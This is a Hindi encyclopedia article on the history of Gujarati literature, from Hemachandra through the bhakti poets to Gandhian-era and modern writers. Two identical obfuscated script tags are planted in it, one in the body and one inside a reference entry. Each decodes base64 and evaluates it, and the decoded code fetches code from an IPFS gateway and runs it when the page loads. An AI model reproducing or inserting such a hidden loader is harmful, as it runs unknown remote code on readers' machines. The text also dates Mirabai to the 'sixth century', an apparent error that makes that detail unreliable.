गुजराती साहित्य

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

गुजराती साहित्य भारत की प्रमुख भाषाओं में से एक गुजराती भाषा के साहित्य को कहा जाता है। इसका सबसे पुराना उदाहरण 12वीं शताब्दी के जैन विद्वान् और संत हेमचंद्र की कृतियों से मिलता है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

विकास

12वीं शताब्दी के उत्तरार्ध में गुजराती भाषा पूर्णरूपेण विकसित हो गई थी। 14वीं शताब्दी के मध्य काल में लिखी गई रचनाएं अब भी उपलब्ध हैं, जो जैन भिक्षुओं द्वारा गद्य में लिखी गईं उपदेशात्मक कृतियां हैं। इसी प्रकार की एक कृति तरुणप्रभा द्वारा लिखित 'बालाबोध'[1] है, इसी काल का जैनेतर ग्रेंथ 'वसंत-विलास'[2] है। 15वीं शताब्दी के दो गुजराती भक्ति कवि नरसी मेहता और भल्लण (या पुरुषोत्तम महाराज) थे। भल्लण ने 'भागवत पुराण' के 10वें अध्याय को छोटे गीतिस्वरूप में ढाला।[3]

भक्त कवियों का योगदान

भक्ति कवियों में अब तक सबसे प्रसिद्ध संत महिला मीराबाई थीं, जो छठी शताब्दी के पूर्वार्द्ध में हुई थीं। हालांकि मीरा विवाहित थीं, लेकिन वह कृष्ण को अपना वास्तविक पति मानती थीं। उनके देवता और प्रेमी के साथ उनके संबंधों की व्याख्या करने वाले गीत भारतीय साहित्य में सबसे जीवंत और रोमांचकारी हैं। गैर भक्ति गुजराती कवियों में प्रेमानंद भट्ट (16वीं शताब्दी) सबसे विख्यात थे, जिन्होंने पुराण जैसी कहानियों पर आधारित कथात्मक कविताएं लिखीं। हालांकि उनकी विषय-वस्तु पारंपरिक थी, लेकिन उनके चरित्र वास्तविक और सशक्त थे तथा उन्होंने अपनी भाषा के माध्यम से साहित्य में नए प्राणों का संचार किया।

साहित्य जगत् पर प्रभाव

ब्रिटिश शासन की शुरुआत ने गुजरात में भी साहित्य जगत् को प्रभावित किया। 1886 ई. में नरसिंह राव के गीतों के संकलन 'कुसुममाला'[4] की रचना हुई, अन्य कवियों में कालापि, कांत और विशेषकर नानालाल शामिल थे, जिन्होंने मुक्त छंद के साथ प्रयोग किए तथा वह महात्मा गाँधी की प्रशंसा करने वाले पहले कवि भी थे। गाँधी जी, जो स्वयं भी गुजराती थे, ने कवियों को जनसाधारण के लिए लिखने के लिए प्रेरित किया और इस प्रकार सामाजिक क्रम में बदलाव की भावना रखने वाली कविता के युग का आरंभ हुआ। गाँधी जी के जीवन की कई घटनाओं ने कवियों के गीतों को प्रेरित किया। अन्य स्थानों की भांति गुजरात में गाँधी युग ने आर. एल. मेघानी और भोगीलाल गाँधी की वर्ग संघर्ष की कविता में प्रगति काल का मार्ग प्रशस्त किया। स्वतंत्रता के बाद कविता का स्वरूप विषयनिष्ठ होता गया, लेकिन आधुनिक स्वरूपों ने पारंपरिक ईश्वर भक्ति और प्रकृति प्रेम की मूल भावना का अतिक्रमण नहीं किया।[3]

'सरस्वतीचंद्र' की रचना

उपन्यासकारों में गोवर्धन राम प्रमुख थे। उनकी कृति 'सरस्वतीचंद्र' को पहला उत्कृष्ट सामाजिक उपन्यास माना जाता है। उपन्यास विद्या में भी गाँधीवाद के प्रभाव को स्पष्ट रूप से महसूस किया जा सकता है; हालांकि कन्हैयालाल मुंशी का व्यक्तित्व इससे भिन्न था, जो गाँधीवादी आदर्शों के आलोचक थे। उन्होंने पुराणों से प्रेरित कई रचनाओं के समान ही संदेश देने के प्रति रुझान प्रदर्शित किया। स्वतंत्रता के बाद आधुनिक लेखकों ने अस्तित्ववादिता, अतियथार्थवादी और प्रतीकात्मक रुझानों को अपना लिया तथा कवियों के समान ही इतरीकरण को प्रकट किया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. युवाओं के लिए निर्देश
  2. वसंत की खुशियां
  3. 3.0 3.1 भारत ज्ञानकोश, खण्ड-2 |लेखक: इंदु रामचंदानी |प्रकाशक: एंसाइक्लोपीडिया ब्रिटैनिका प्राइवेट लिमिटेड, नई दिल्ली और पॉप्युलर प्रकाशन, मुम्बई |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 88 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. फूलों की माला

संबंधित लेख